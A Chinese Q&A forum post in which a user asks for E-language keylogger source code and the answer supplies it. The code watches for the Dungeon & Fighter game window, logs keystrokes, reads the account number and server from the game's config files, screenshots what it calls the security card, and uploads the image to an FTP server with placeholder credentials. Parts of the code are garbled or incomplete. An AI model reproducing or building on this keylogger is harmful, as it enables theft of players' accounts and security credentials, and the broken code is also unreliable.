Question

求大神给个易语言键盘记录器源码、

Answer 1

要一个 键盘记录_模块.ec 易语言的控件有一个编辑框，2个按钮，3个时钟！！3个时钟的名字要改一下“判断开始记录” “记录键盘” “结束检查时钟”

.版本 2

.程序集 窗口程序集1
.程序集变量 数组, 文本型, , "0"
.程序集变量 记事本, 文本型
.程序集变量 记录文本, 文本型
.程序集变量 账号信息, 文本型
.程序集变量 文件名, 文本型
.程序集变量 FTP路径, 文本型
.程序集变量 路径, 文本型

.子程序 _按钮2_被单击

判断开始记录.时钟周期 ＝ 1000
记录键盘.时钟周期 ＝ 0
结束检查时钟.时钟周期 ＝ 0

.子程序 _判断开始记录_周期事件

.子程序 _记录键盘_周期事件

记录文本 ＝ 记事本 ＋ 获得按键 ()

.子程序 __周期事结束检查时钟_周期事件
.局部变量 a, 整数型

a ＝ 0
数组=取所有窗口列表()
.计次循环首 (取数组成员数 (数组),已经运行)
.如果(寻找文本(取窗口标题(到整数(数组[已经运行])),“地下城与勇士”,,真)< 0)
a ＝ 1
.否则
a ＝ 0
跳出循环 ()
.如果结束

.计次循环尾 ()
.如果真 (a ＝ 1)
记录键盘.时钟周期=0
读账号信息()
记录文本 ＝ “”
判断开始记录.时钟周期=1000
结束检查时钟.时钟周期=0
.如果真结束

.子程序 读账号信息
.局部变量 账号, 文本型
.局部变量 区, 文本型

区 ＝ 读配置项 (路径 ＋ “UserSetting.ini”, “ServerSelection”, “LastSelectName”, )
账号 ＝ 读配置项 (路径 ＋ “config/Info.ini”, “Public”, “LastQQUin”, )
编辑框1.内容 ＝ 区 ＋ “----” ＋ 账号 ＋ “-----” ＋ 记录文本 ＋ #换行符

.子程序 取进程路径, 文本型

.子程序 _按钮1_被单击
.局部变量 截取密保卡, 字节型

截取密保卡 ＝ 快照 (, , )
写到文件 (“D\DNF\1.jpg”, 截取密保卡)

.如果(连接FTP服务器(“FTP控件IP地址”,“FTP账号”,“FTP密码”,21,)=真)
信息框 (“FTP服务器连接成功”, 0, )
.否则
信息框 (“FTP服务器连接失败”, 0, )
返回 ()
.如果结束
FTP路径=FTP取现行目录()+“/123.jpg”
.如果(FTP文件上传(“D\DNF\1.jpg”,“DNF\520.jpg”)=真)
信息框 (“FTP文件上传成功”, 0, “恭喜”)
.否则
信息框 (“FTP文件上传失败”, 0, “注意”)

.如果结束
断开FTP服务器()